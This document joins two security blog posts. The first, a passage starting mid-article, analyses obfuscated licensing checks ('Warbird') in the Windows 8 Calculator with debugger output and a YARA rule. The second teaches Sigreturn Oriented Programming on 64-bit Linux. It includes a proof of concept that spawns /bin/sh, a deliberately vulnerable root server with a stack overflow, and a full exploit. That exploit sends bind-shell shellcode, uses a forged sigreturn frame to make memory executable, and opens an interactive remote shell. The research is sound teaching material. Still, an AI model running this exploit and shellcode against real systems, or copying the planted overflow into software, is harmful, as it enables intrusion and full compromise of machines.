This technique is also used by some packers. Initially packers were used to shrink executable file sizes. Nowadays, they are also used by malware to escape antivirus’ technologies based on signatures.

In this particular context, this technique seems to be used to retrieve required function addresses in a stealthy way.

Back to the Windows Calculator, the list of functions to resolve is contained in a buffer. The buffer will be dynamically decoded at process runtime and thus cannot be extracted from the raw binary file. When the function resolution process begins, the decoded buffer is:


00c48ed8 67 00 64 00 69 00 33 00-32 00 2e 00 64 00 6c 00 g.d.i.3.2...d.l.
00c48ee8 6c 00 00 00 12 00 00 00-42 69 74 42 6c 74 00 43 l.......BitBlt.C
00c48ef8 72 65 61 74 65 43 6f 6d-70 61 74 69 62 6c 65 42 reateCompatibleB
00c48f08 69 74 6d 61 70 00 43 72-65 61 74 65 43 6f 6d 70 itmap.CreateComp
00c48f18 61 74 69 62 6c 65 44 43-00 43 72 65 61 74 65 44 atibleDC.CreateD
00c48f28 49 42 53 65 63 74 69 6f-6e 00 43 72 65 61 74 65 IBSection.Create
00c48f38 46 6f 6e 74 49 6e 64 69-72 65 63 74 57 00 43 72 FontIndirectW.Cr
00c48f48 65 61 74 65 53 6f 6c 69-64 42 72 75 73 68 00 44 eateSolidBrush.D
00c48f58 65 6c 65 74 65 44 43 00-44 65 6c 65 74 65 4f 62 eleteDC.DeleteOb
00c48f68 6a 65 63 74 00 47 64 69-41 6c 70 68 61 42 6c 65 ject.GdiAlphaBle
00c48f78 6e 64 00 47 64 69 47 72-61 64 69 65 6e 74 46 69 nd.GdiGradientFi
00c48f88 6c 6c 00 47 65 74 43 75-72 72 65 6e 74 4f 62 6a ll.GetCurrentObj
00c48f98 65 63 74 00 47 65 74 44-49 42 69 74 73 00 47 65 ect.GetDIBits.Ge
00c48fa8 74 44 65 76 69 63 65 43-61 70 73 00 47 65 74 4f tDeviceCaps.GetO
00c48fb8 62 6a 65 63 74 57 00 47-65 74 53 74 6f 63 6b 4f bjectW.GetStockO
00c48fc8 62 6a 65 63 74 00 53 65-6c 65 63 74 4f 62 6a 65 bject.SelectObje
00c48fd8 63 74 00 53 65 74 42 6b-4d 6f 64 65 00 53 65 74 ct.SetBkMode.Set
00c48fe8 54 65 78 74 43 6f 6c 6f-72 00 6b 00 65 00 72 00 TextColor.k.e.r.
00c48ff8 6e 00 65 00 6c 00 33 00-32 00 2e 00 64 00 6c 00 n.e.l.3.2...d.l.
00c49008 6c 00 00 00 0a 00 00 00-47 65 74 4c 6f 63 61 6c l.......GetLocal
00c49018 65 49 6e 66 6f 45 78 00-47 65 74 55 73 65 72 50 eInfoEx.GetUserP
00c49028 72 65 66 65 72 72 65 64-55 49 4c 61 6e 67 75 61 referredUILangua
00c49038 67 65 73 00 4c 43 49 44-54 6f 4c 6f 63 61 6c 65 ges.LCIDToLocale
00c49048 4e 61 6d 65 00 4c 6f 63-61 6c 65 4e 61 6d 65 54 Name.LocaleNameT
00c49058 6f 4c 43 49 44 00 4d 75-6c 44 69 76 00 4d 75 6c oLCID.MulDiv.Mul
00c49068 74 69 42 79 74 65 54 6f-57 69 64 65 43 68 61 72 tiByteToWideChar
00c49078 00 50 6f 77 65 72 43 6c-65 61 72 52 65 71 75 65 .PowerClearReque
00c49088 73 74 00 50 6f 77 65 72-43 72 65 61 74 65 52 65 st.PowerCreateRe
00c49098 71 75 65 73 74 00 50 6f-77 65 72 53 65 74 52 65 quest.PowerSetRe
00c490a8 71 75 65 73 74 00 53 6c-65 65 70 45 78 00 6e 00 quest.SleepEx.n.
00c490b8 74 00 64 00 6c 00 6c 00-2e 00 64 00 6c 00 6c 00 t.d.l.l...d.l.l.
00c490c8 00 00 01 00 00 00 57 69-6e 53 71 6d 41 64 64 54 ......WinSqmAddT
00c490d8 6f 53 74 72 65 61 6d 00-75 00 73 00 65 00 72 00 oStream.u.s.e.r.
00c490e8 33 00 32 00 2e 00 64 00-6c 00 6c 00 00 00 13 00 3.2...d.l.l.....
00c490f8 00 00 44 72 61 77 54 65-78 74 45 78 57 00 45 6e ..DrawTextExW.En
00c49108 75 6d 44 69 73 70 6c 61-79 53 65 74 74 69 6e 67 umDisplaySetting
00c49118 73 57 00 46 69 6c 6c 52-65 63 74 00 47 65 74 44 sW.FillRect.GetD
00c49128 43 00 47 65 74 44 43 45-78 00 47 65 74 44 65 73 C.GetDCEx.GetDes
00c49138 6b 74 6f 70 57 69 6e 64-6f 77 00 47 65 74 4d 6f ktopWindow.GetMo
00c49148 6e 69 74 6f 72 49 6e 66-6f 57 00 47 65 74 50 72 nitorInfoW.GetPr
00c49158 6f 63 65 73 73 57 69 6e-64 6f 77 53 74 61 74 69 ocessWindowStati
00c49168 6f 6e 00 47 65 74 53 79-73 43 6f 6c 6f 72 00 47 on.GetSysColor.G
00c49178 65 74 53 79 73 74 65 6d-4d 65 74 72 69 63 73 00 etSystemMetrics.
00c49188 47 65 74 54 68 72 65 61-64 44 65 73 6b 74 6f 70 GetThreadDesktop
00c49198 00 47 65 74 55 73 65 72-4f 62 6a 65 63 74 49 6e .GetUserObjectIn
00c491a8 66 6f 72 6d 61 74 69 6f-6e 57 00 49 6e 76 61 6c formationW.Inval
00c491b8 69 64 61 74 65 52 65 63-74 00 49 73 50 72 6f 63 idateRect.IsProc
00c491c8 65 73 73 44 50 49 41 77-61 72 65 00 4d 6f 6e 69 essDPIAware.Moni
00c491d8 74 6f 72 46 72 6f 6d 57-69 6e 64 6f 77 00 4f 66 torFromWindow.Of
00c491e8 66 73 65 74 52 65 63 74-00 52 65 64 72 61 77 57 fsetRect.RedrawW
00c491f8 69 6e 64 6f 77 00 52 65-6c 65 61 73 65 44 43 00 indow.ReleaseDC.
00c49208 53 79 73 74 65 6d 50 61-72 61 6d 65 74 65 72 73 SystemParameters
00c49218 49 6e 66 6f 57 00 00 ab-ab ab ab ab ab ab ab fe InfoW...........
00c49228 00 00 00 00 00 00 00 00-79 43 de af 6c 4a 00 00 ........yC..lJ..

The contents of the buffer are quite simple to understand. This is a list of structures containing:

  • The name of the DLL, in Unicode characters (in green);
  • The number of functions to resolve (in yellow) ;
  • The name of functions to resolve.

This last structure is indicated by a name containing 0.

Initially, unresolved functions point to stubs returning an error code and setting the last error to
ERROR_PROC_NOT_FOUND:

.text:0045D03B ; void * __stdcall WARBIRD_DELAY_LOAD::PowerCreateRequest(struct _REASON_CONTEXT *)
.text:0045D03B ?PowerCreateRequest@WARBIRD_DELAY_LOAD@@YGPAXPAU_REASON_CONTEXT@@@Z proc near
.text:0045D03B push ERROR_PROC_NOT_FOUND ; dwErrCode
.text:0045D03D call ds:__imp__SetLastError@4 ; SetLastError(x)
.text:0045D043 or eax, 0FFFFFFFFh
.text:0045D046 retn 4
.text:0045D046 ?PowerCreateRequest@WARBIRD_DELAY_LOAD@@YGPAXPAU_REASON_CONTEXT@@@Z endp

The available debugging symbols for Microsoft Calculator point to a rather unusual name: Warbird. We can infer this is the internal name of a project at Microsoft. We can dump the list of available symbols containing this name:

0:000> x calc!*warbird*
0100d021 calc!WARBIRD_DELAY_LOAD::GetDesktopWindow ()
0100d0a3 calc!WARBIRD_DELAY_LOAD::DeleteDC ()
0100d0a3 calc!WARBIRD_DELAY_LOAD::GetSystemMetrics ()
0102e920 calc!WARBIRD::g_FuncAddress =
0100d04e calc!WARBIRD_DELAY_LOAD::LocaleNameToLCID ()
0100d04e calc!WARBIRD_DELAY_LOAD::SelectObject ()
0100d0a3 calc!WARBIRD_DELAY_LOAD::CreateSolidBrush ()
0100d00f calc!WARBIRD_DELAY_LOAD::GetUserObjectInformationW ()
0100d0c7 calc!WARBIRD_DELAY_LOAD::BitBlt ()
0102e2e0 calc!`WarbirdGetDecryptionCipher'::`2'::DecryptionCipher =
0100cffd calc!WARBIRD_DELAY_LOAD::CreateCompatibleBitmap ()
0100d031 calc!WARBIRD_DELAY_LOAD::GdiGradientFill ()
0100cfe5 calc!WARBIRD_DELAY_LOAD::RedrawWindow ()
0100d060 calc!WARBIRD_DELAY_LOAD::MulDiv ()
0100d04e calc!WARBIRD_DELAY_LOAD::SetTextColor ()
0100d0a3 calc!WARBIRD_DELAY_LOAD::GetThreadDesktop ()
0100d0a3 calc!WARBIRD_DELAY_LOAD::CreateCompatibleDC ()
0100d06b calc!WARBIRD_DELAY_LOAD::SystemParametersInfoW ()
0100d04e calc!WARBIRD_DELAY_LOAD::SleepEx ()
0100579e calc!WarbirdThreadCallback ()
0100cffd calc!WARBIRD_DELAY_LOAD::InvalidateRect ()
0100d0a3 calc!WARBIRD_DELAY_LOAD::DeleteObject ()
0100d0a3 calc!WARBIRD_DELAY_LOAD::GetStockObject ()
0100cffd calc!WARBIRD_DELAY_LOAD::GetDCEx ()
0100d021 calc!WARBIRD_DELAY_LOAD::IsProcessDPIAware ()
0100d07d calc!WARBIRD_DELAY_LOAD::MonitorFromWindow ()
0100d0b5 calc!WARBIRD_DELAY_LOAD::CreateDIBSection ()
0100d03b calc!WARBIRD_DELAY_LOAD::PowerCreateRequest ()
0100d087 calc!WARBIRD_DELAY_LOAD::GetDIBits ()
0100cffd calc!WARBIRD_DELAY_LOAD::FillRect ()
0100d099 calc!WARBIRD_DELAY_LOAD::GdiAlphaBlend ()
0100d06b calc!WARBIRD_DELAY_LOAD::GetLocaleInfoEx ()
010312f4 calc!g_WarbirdNotificationInformation =
0102ede0 calc!`WarbirdGetDecryptionKey'::`2'::nDecryptionKey =
0102edd8 calc!`WarbirdGetEncryptionKey'::`2'::nEncryptionKey =
0100d07d calc!WARBIRD_DELAY_LOAD::SetBkMode ()
0100d06b calc!WARBIRD_DELAY_LOAD::GetUserPreferredUILanguages ()
0100d0a3 calc!WARBIRD_DELAY_LOAD::GetDC ()
0100d04e calc!WARBIRD_DELAY_LOAD::PowerClearRequest ()
0100cfef calc!WARBIRD_DELAY_LOAD::OffsetRect ()
0100d04e calc!WARBIRD_DELAY_LOAD::PowerSetRequest ()
0100d021 calc!WARBIRD_DELAY_LOAD::GetProcessWindowStation ()
0100cffd calc!WARBIRD_DELAY_LOAD::EnumDisplaySettingsW ()
0100d0a3 calc!WARBIRD_DELAY_LOAD::CreateFontIndirectW ()
0100d04e calc!WARBIRD_DELAY_LOAD::ReleaseDC ()
0100d031 calc!WARBIRD_DELAY_LOAD::DrawTextExW ()
0100d04e calc!WARBIRD_DELAY_LOAD::GetDeviceCaps ()
0100d07d calc!WARBIRD_DELAY_LOAD::GetMonitorInfoW ()
0100cffd calc!WARBIRD_DELAY_LOAD::GetObjectW ()
0102e240 calc!`WarbirdGetEncryptionCipher'::`2'::EncryptionCipher =
0100d04e calc!WARBIRD_DELAY_LOAD::GetCurrentObject ()
0100d0a3 calc!WARBIRD_DELAY_LOAD::GetSysColor ()
0102dbe8 calc!`WarbirdSecureFunctionsInitialize'::`2'::g_InitFunctions =
0100d06b calc!WARBIRD_DELAY_LOAD::LCIDToLocaleName ()
00fe95d2 calc!WARBIRD::GetFunctionAddress ()
0100d0b5 calc!WARBIRD_DELAY_LOAD::MultiByteToWideChar ()
010312f8 calc!g_WarbirdPaintInitTime =

Once resolved, these functions point to the actual implementation in the appropriate dynamically loaded modules. Warbird code doesn’t try to load the referenced modules (gdi32.dll, kernel32.dll, ntdll.dll and user32.dll); they must be loaded by the hosting process before Warbird code resolves the functions’ addresses

We will not dive into the details of function address resolution. A good write-up can be found at the address http://www.rohitab.com/discuss/topic/40877-shellcoding-get-exported-function-pointer-from-name/ for people interested in understanding the techniques used to perform this action.

As part of this process, Microsoft also checks that the found base address looks like a valid PE file by checking some magic values in the header of the mapped file; malware authors are not so paranoiac and usually blindly trust the found base address.


Execution context

Once necessary functions are resolved, Warbird tries to determine if it has to be run on the machine. To do so, it checks the following conditions:

  • The program is not running in session 0 (i.e. the program is not a service);
  • The current window station name is ‘WinSta0’ (using the newly resolved functions GetProcessWindowStation and GetUserObjectInformationW) ;
  • The current desktop is ‘Default’ (using the newly resolved functions GetThreadDesktop and GetUserObjectInformationW).

Execution

After checking the execution context, the next step in the execution of Warbird code is related to a group of 3 associated functions: PowerCreateRequest, PowerSetRequest and PowerClearRequest.

These functions were introduced in Windows 7 and allow a program to be involved in the power management of the workstation. For example, the program can force the display to be always on even if the program is performing a lengthy operation.

PowerCreateRequest creates a request specifying the reason for the request. This function uses a parameter of type _REASON_CONTEXT (http://msdn.microsoft.com/en-us/library/windows/desktop/dd405536%28v=vs.85%29.aspx) that specifies the reason of the request:

typedef struct _REASON_CONTEXT {
ULONG Version;
DWORD Flags;
union {
struct {
HMODULE LocalizedReasonModule;
ULONG LocalizedReasonId;
ULONG ReasonStringCount;
LPWSTR *ReasonStrings;
} Detailed;
LPWSTR SimpleReasonString;
} Reason;
} REASON_CONTEXT, *PREASON_CONTEXT;

The code which creates the power request and calls PowerCreateRequest is:
0:000> u calc+20e8
calc!WinMain+0x10bc:
002320e8 8d8424c0020000 lea eax,[esp+2C0h]
002320ef 50 push eax
002320f0 c78424c402000000000000 mov dword ptr [esp+2C4h],0
002320fb c78424c802000000000080 mov dword ptr [esp+2C8h],80000000h
00232106 ff1584e92a00 call dword ptr [calc!WARBIRD::g_FuncAddress+0x64 (002ae984)]
0023210c 8bf0 mov esi,eax
0:000> dps 002ae984 L1
002ae984 75d9dda5 KERNEL32!PowerCreateRequest

At address 002320f0, the Version field is initialized to 0 (POWER_REQUEST_CONTEXT_VERSION). The next instruction initializes the Flags field with the value 0x80000000, which is an undocumented field (only 0x1 and 0x2 values are documented on MSDN). The remaining of the structure is left uninitialized.

The use of this undocumented flag is not clear; however the maintainers of the drmemory open source project have already noted that not all the fields were correctly initialized (https://code.google.com/p/drmemory/issues/detail?id=1247).

When the power request is created, it is activated with a call to PowerSetRequest with the PowerRequestExecutionRequired request type. This request type allows the program to run instead of being suspended or terminated by process lifetime management mechanisms.

After this simple step, the remaining code of Warbird is quite difficult to reverse engineer. It seems that Microsoft used techniques such as function inlining in order to hide the sequence of operations.

After a long sequence of cryptographic-related operations, the program calls the versatile NtSetSystemInformation API with an information type of value 0x86. Microsoft only documents a small subset of the structures returned by this function (http://msdn.microsoft.com/en-us/library/windows/desktop/ms724509%28v=vs.85%29.aspx). A rather up-to-date definition of the type of information that can be queried can be found in the sources of the Process Hacker open source project (http://processhacker.sourceforge.net/doc/ntexapi_8h_source.html). In this enumeration, 0x86 corresponds to SystemThrottleNotificationInformation.

Even if we did not dig into this system call, some people have done it and concluded this is a way to obfuscate calls to retrieve licensing information. In previous versions of the operating system, Microsoft used the NtQueryLicenseValue and SLGetWindowsInformation to retrieve licensing information. These calls were quite easy to intercept and fake. Starting from Windows 8, it seems Microsoft has chosen to change its implementation to make the licensing system harder to fake.

Having a look at the other dynamically resolved functions which are related to graphic display (mainly in gdi32.dll and user32.dll), we can assume that the whole process displays a watermark message on the screen if running a non-genuine version of Windows.

Extent of Warbird

So far, we highlighted some findings in the Windows Calculator provided with the 32-bit version of Windows 8.

But Warbird usage is not restricted to this simple program. This technique is embedded in a bunch of other Microsoft binary files, both in 32 bits and 64 bits. This technique is also present in the latest version of the operating system, Windows 8.1 Update 1 at the time of writing.

Microsoft tries to hide the details of this technique to the reversing community. For example, the Windows 8.1 Update 1 version of the Windows Calculator lacks any debug information related to Warbird.

However, some tracks are still present if you are interested in digging into this area.

For example, you can search for other affected binary files using a YARA (http://plusvic.github.io/yara/) rule matching the unusual pattern highlighted at the beginning of this article (32-bit version only):

/* Match the PEB.Ldr assembly for warbird function resolution */
rule WarBird
{
strings:
$a = {64 A1 30 00 00 00 2B CA D1 F9 8B 40 0C 83 C0 0C}
condition:
$a
}

This pattern will match some binary files, both in the ‘system32’ and the ‘Program Files folder’. You will eventually come across some binary files with debug information containing the private symbols of the Warbird implementation (even for Windows 8.1 Update 1 binary files).

Conclusion

The purpose of this blog post was to unveil the mechanisms used in some Windows binary files to obfuscate licensing related queries, and not licensing itself.

It is clear that Microsoft did some efforts to hide operations related to their licensing starting from Windows 8 version.

Even if some valuable information can still be retrieved from the debug symbols associated with the Windows binary files, Microsoft is about to remove the relevant information. We do not know the whole process of debug symbols publishing at Microsoft, but it seems private symbols are regularly present on their public symbol store. This source of information is quite valuable to reversers to understand new piece of technology or to access internal functionalities of the operating system.


Playing with signals : An overview on Sigreturn Oriented Programming

$
0
0

Introduction

Back to last GreHack edition, Herbert Bos has presented a novel technique to exploit stack-based overflows more reliably on Linux. We review hereafter this new exploitation technique and provide an exploit along with the vulnerable server. Even if this technique is portable to multiple platforms, we will focus on a 64-bit Linux OS in this blog post.

All sample code used in this blogpost is available for download through the following archive.

We’ve got a signal

When the kernel delivers a signal, it creates a frame on the stack where it stores the current execution context (flags, registers, etc.) and then gives the control to the signal handler. After handling the signal, the kernel calls sigreturn to resume the execution. More precisely, the kernel uses the following structure pushed previously on the stack to recover the process context. A closer look at this structure is given by figure 1.

typedef struct ucontext {
    unsigned long int    uc_flags;
    struct ucontext     *uc_link;
    stack_t              uc_stack;
    mcontext_t           uc_mcontext;
    __sigset_t           uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
} ucontext_t;

Now, let’s debug the following program (sig.c) to see what really happens when handling a signal on Linux. This program simply registers a signal handler to manage SIGINT signals.

#include <stdio.h>
#include <signal.h>

void handle_signal(int signum)
{
    printf("handling signal: %d\n", signum);
}

int main()
{
    signal(SIGINT, (void *)handle_signal);
    printf("catch me if you can\n");
    while(1) {}
    return 0;
}

/* struct definition for debugging purpose */
struct sigcontext sigcontext;

First of all, we need to tell gdb to not intercept this signal:

gdb$ handle SIGINT nostop pass
Signal        Stop      Print   Pass to program Description
SIGINT        No        Yes     Yes             Interrupt

Then, we set a breakpoint at the signal handling function, start the program and hit CTRLˆC to reach the signal handler code.

gdb$ b handle_signal
Breakpoint 1 at 0x4005a7: file sig.c, line 6.
gdb$ r
Starting program: /home/mtalbi/sig 
hit CTRL^C to catch me
^C
Program received signal SIGINT, Interrupt.

Breakpoint 1, handle_signal (signum=0x2) at sig.c:6
6               printf("handling signal: %d", signum);
gdb$ bt
#0  handle_signal (signum=0x2) at sig.c:6
#1  <signal handler called>
#2  main () at sig.c:13

We note here that the frame #1 is created in order to resume the process execution at the point where it was interrupted before. This is confirmed by checking the instructions pointed by rip which corresponds to sigreturn syscall:

gdb$ frame 1
#1  <signal handler called>
gdb$ x/2i $rip
=> 0x7ffff7a844f0:      mov    $0xf,%rax
   0x7ffff7a844f7:      syscall 

Figure 1 shows the stack at signal handling function entry point.

srop-stack

Figure 1: Stack at signal handling function entry point

We can check the values of some saved registers and flags. Note that sigcontext structure is the same as uc_mcontext structure. It is located at rbp + 7 * 8 according to figure 1. It holds saved registers and flags value:

gdb$ frame 0
...
gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rip 
$5 = 0x4005da
gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rsp
$6 = 0x7fffffffe110
gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rax
$7 = 0x17
gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->cs
$8 = 0x33
gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->eflags
$9 = 0x202

Now, we can verify that after handling the signal, registers will recover their values:

gdb$ b 13
Breakpoint 2 at 0x4005da: file sig.c, line 13.
gdb$ c
Continuing.
handling signal: 2

Breakpoint 2, main () at sig.c:13
13              while(1) {}
gdb$ i r
...
rax            0x17     0x17
rsp            0x7fffffffe110   0x7fffffffe110
eflags         0x202    [ IF ]
cs             0x33     0x33
...

Exploitation

If we manage to overflow a saved instruction pointer with sigreturn address and forge a uc mcontext structure by adjusting registers and flags values, then we can execute any syscall. It may be a litte confusing here. In effect, trying to execute a syscall by returning on another syscall (sigreturn) may be strange at first sight. Well, the main difference here is that the latter does not require any parameters at all. All we need is a gadget that sets rax to 0xf to run any system call through sigreturn syscall. Gadgets are small pieces of instructions ending with a ret instruction. These gadgets are chained together to perform a specific action. This technique is well-known as ROP: Return-Oriented Programming [Sha07].

Surprisingly, it is quite easy to find a syscall ; ret gadget on some Linux distribution where the vsyscall map is still in use. The vsyscall page is mapped at fixed location into all user-space processes. For interested readers, here is good link about vsyscall.

mtalbi@mtalbi:/home/mtalbi/srop$ cat /proc/self/maps
...
7ffffe5ff000-7ffffe600000 r-xp 00000000 00:00 0         [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
...
gdb$ x/3i 0xffffffffff600000
   0xffffffffff600000:  mov    rax,0x60
   0xffffffffff600007:  syscall 
   0xffffffffff600009:  ret 

Bosman and Bos list in [BB14] locations of sigreturn and syscall gadgets for different operating systems including FreeBSD and Mac OS X.

Assumed that we found the required gadgets, we need to arrange our payload as shown in figure 3 in order to successfully exploit a classic stack-based overflow. Note that zeroes should be allowed in the payload (e.g. a non strcpy vulnerability); otherwise, we need to find a way to zero some parts of uc_mcontext structure.

The following code (srop.c) is a proof of concept of sigreturn oriented programming that starts a /bin/sh shell:

#include <stdio.h>
#include <string.h>
#include <signal.h>

#define SYSCALL 0xffffffffff600007

struct ucontext ctx;
char *shell[] = {"/bin/sh", NULL};

void gadget();

int main()
{
    unsigned long *ret;

    /* initializing the context structure */
    bzero(&ctx, sizeof(struct ucontext));

    /* setting rip value (points to syscall address) */
    ctx.uc_mcontext.gregs[16] = SYSCALL;

    /* setting 0x3b in rax (execve syscall) */
    ctx.uc_mcontext.gregs[13] = 0x3b;

    /* setting first arg of execve in rdi */
    ctx.uc_mcontext.gregs[8] = shell[0];

    /* setting second arg of execv in rsi */
    ctx.uc_mcontext.gregs[9] = shell;

    /* cs = 0x33 */
    ctx.uc_mcontext.gregs[18] = 0x33;

    /* overflowing */
    ret = (unsigned long *)&ret + 2;
    *ret = (int)gadget + 4; //skip gadget's function prologue
    *(ret + 1) = SYSCALL;
    memcpy(ret + 2, &ctx, sizeof(struct ucontext));
    return 0;
}

void gadget()
{
    asm("mov $0xf,%rax\n");
    asm("retq\n");
}

The programm fills a uc_mcontext structure with execve syscall parameters. Additionally, the cs register is set to 0x33:

  • Instruction pointer rip points to syscall; ret gadget.
  • rax register holds execve syscall number.
  • rdi register holds the first paramater of execve (“/bin/sh” address).
  • rsi register holds the second parameter of execve (“/bin/sh” arguments).
  • rdx register holds the last parameter of execve (zeroed at struture initialization).

Then, the program overflows the saved rip pointer with mov %rax, $0xf; ret gadget address (added artificially to the program through gadget function). This gadget is followed by the syscall gadget address. So, when the main function will return, these two gadgets will be executed resulting in sigreturn system call which will set registers values from the previously filled structure. After sigreturn, execve will be called as rip points now to syscall gadget and rax holds the syscall number of execve. In our example, execve will start /bin/sh shell.

Code

In this section we provide a vulnerable server (server.c) and use the SROP technique to exploit it (exploit.c).

Vulnerable server

The following program is a simple server that replies back with a welcoming message after receiving some data from client. The vulnerability is present in the handle_conn function where we can read more data from client (4096 bytes) than the destination array (input) can hold (1024 bytes). The program is therefore vulnerable to a classical stack-based overflow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define PAGE_SIZE 0x1000
#define PORT 7777

// in .bss
char data[PAGE_SIZE * 2];

void init()
{
	struct sockaddr_in sa;;
	int s, c, size, k = 1;

	sa.sin_family = AF_INET;
	sa.sin_port = htons(PORT);
	sa.sin_addr.s_addr = INADDR_ANY;

	size = sizeof(struct sockaddr);

	if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		handle_error("socket failed\n");
	}

	if(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &k, sizeof(int)) == -1) {
		handle_error("setsockopt failed\n");
  }

	if(bind(s, (struct sockaddr *)&sa, size)) {
		handle_error("bind failed\n");
	}

	if(listen(s, 3) < 0) {
		handle_error("listen failed\n");
	}

	while(1) {
		if((c = accept(s, (struct sockaddr *)NULL, NULL)) < 0) {
			handle_error("accept failed\n");
		}
		handle_conn(c);
	}
}

int handle_conn(int c)
{
	char input[0x400];
	int amt;
	//too large data !!!
	if((amt = read(c, input, PAGE_SIZE) < 0)) {
		handle_error("receive failed\n");
	}
	memcpy(data, input, PAGE_SIZE);
	welcome(c);
	close(c);
	return 0;

}

int welcome(int c)
{
	int amt;
	const char *msg = "I'm vulnerable program running with root priviledges!!\nPlease do not exploit me";

	write(c, msg, strlen(msg));

	if((amt = write(c, data, strlen(data))) < 0) {
		handle_error("send failed\n");
	}
	return 0;
}

int handle_error(char *msg)
{
	perror(msg);
	exit(-1);
}

void gadget()
{
	asm("mov $0xf,%rax\n");
	asm("retq\n");
}

int main()
{
	init();
	return 0;
}

Exploit

We know that our payload will be copied in a fixed location in .bss. (at 0x6012c0). Our strategy is to copy a shellcode there and then call mprotect syscall in order to change page protection starting at 0x601000 (must be a multiple ot the page size).

srop-bss

Figure 2: Payload copied in .bss

In this exploit, we overflow our vulnerable buffer as shown by figure 3. First, we fill our buffer with a nop sled (not necessary) followed by a classical bindshell. This executable payload is prepended with an address pointing to the shellcode in .bss (see figure 2).

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/mman.h>
#include <errno.h>

#define HOSTNAME         "localhost";
#define PORT             7777
#define POWN             31337
#define SIZE             0x400 + 8*2

#define SYSCALL_GADGET   0xffffffffff600007
#define RAX_15_GADGET    0x400ad3
#define DATA             0x6012c0
#define MPROTECT_BASE    0x601000	//must be a multiple of page_size (in .bss)
#define MPROTECT_SYSCALL 0xa
#define FLAGS            0x33
#define PAGE_SIZE        4096

#define COLOR_SHELL      "\033[31;01mbind-shell\033[00m > "

struct payload_t {
	unsigned long   ret;
	char            nopshell[SIZE];
	unsigned long   gadget;
	unsigned long   sigret;
	struct ucontext context;
};

unsigned char shellcode[] =	"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
							"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
							"\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"
							"\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05"
							"\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31"
							"\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59"
							"\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48"
							"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
							"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
							"\x5f\x6a\x3b\x58\x0f\x05";

int setsock(char *hostname, int port);
void session(int s);
void overflows(int s);
int handle_error(char *msg);

int main(int argc, char **argv)
{
	int s;
	printf("[1] connecting to target ... \n");
	s = setsock(HOSTNAME, PORT);
	printf("[+] connected \n");
	printf("[2] overflowing ... \n");
	overflows(s);
	s = setsock(HOSTNAME, POWN);
	session(s);
	return 0;
}

void overflows(int s)
{
	struct payload_t payload;
	char output[0x400];

	memset(payload.nopshell, 0x90, SIZE);
	strncpy(payload.nopshell, shellcode, strlen(shellcode));

	payload.ret = DATA + 0x8; //precise address of nop sled
	payload.gadget = RAX_15_GADGET;
	payload.sigret = SYSCALL_GADGET;

	/* initializing the context structure */
	bzero(&payload.context, sizeof(struct ucontext));

	/* setting first arg of mprotect in rdi */
	payload.context.uc_mcontext.gregs[8] = MPROTECT_BASE;

	/* setting second arg of mprotect in rsi */
	payload.context.uc_mcontext.gregs[9] = PAGE_SIZE;

	/* setting third arg of mprotect in rdx */
	payload.context.uc_mcontext.gregs[12] = PROT_READ | PROT_WRITE | PROT_EXEC;

	/* setting mprotect syscall number in rax */
	payload.context.uc_mcontext.gregs[13] = MPROTECT_SYSCALL;

	/*
	 * jumping into nop sled after mprotect syscall.
	 * setting rsp value
	 */
	payload.context.uc_mcontext.gregs[15] = DATA;

	/* setting rip value (points to syscall address) */
	payload.context.uc_mcontext.gregs[16] = SYSCALL_GADGET;

	/* cs = 0x33 */
	payload.context.uc_mcontext.gregs[18] = FLAGS;

	write(s, &payload, sizeof(payload));

	read(s, output, 0x400);
}

int setsock(char *hostname, int port)
{
	int sock;
	struct hostent *hent;
	struct sockaddr_in sa;
	struct in_addr ia;

	hent = gethostbyname(hostname);
	if(hent) {
		memcpy(&ia.s_addr, hent->h_addr, 4);
	}
	else if((ia.s_addr = inet_addr(hostname)) == INADDR_ANY) {
		handle_error("incorrect address !!!\n");
	}

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		handle_error("socket failed !!!\n");
	}

	sa.sin_family = AF_INET;
	sa.sin_port = htons(port);
	sa.sin_addr.s_addr = ia.s_addr;

	if(connect(sock, (struct sockaddr *)&sa, sizeof(sa)) == -1) {
		handle_error("connection failed !!!!\n");
	}

	return sock;
}

void session(int s)
{
	char buf[1024];
	int amt;

	fd_set fds;

	printf("[!] enjoy your shell \n");
	fputs(COLOR_SHELL, stderr);
	FD_ZERO(&fds);
	while(1) {
		FD_SET(s, &fds);
		FD_SET(0, &fds);
		select(s+1, &fds, NULL, NULL, NULL);

		if(FD_ISSET(0, &fds)) {
			if((amt = read(0, buf, 1024)) == 0) {
				handle_error("connection lost\n");
			}
			buf[amt] = '\0';
			write(s, buf, strlen(buf));
		}

		if(FD_ISSET(s, &fds)) {
			if((amt = read(s, buf, 1024)) == 0) {
				handle_error("connection lost\n");
			}
			buf[amt] = '\0';
			printf("%s", buf);
			fputs(COLOR_SHELL, stderr);
		}
	}
}

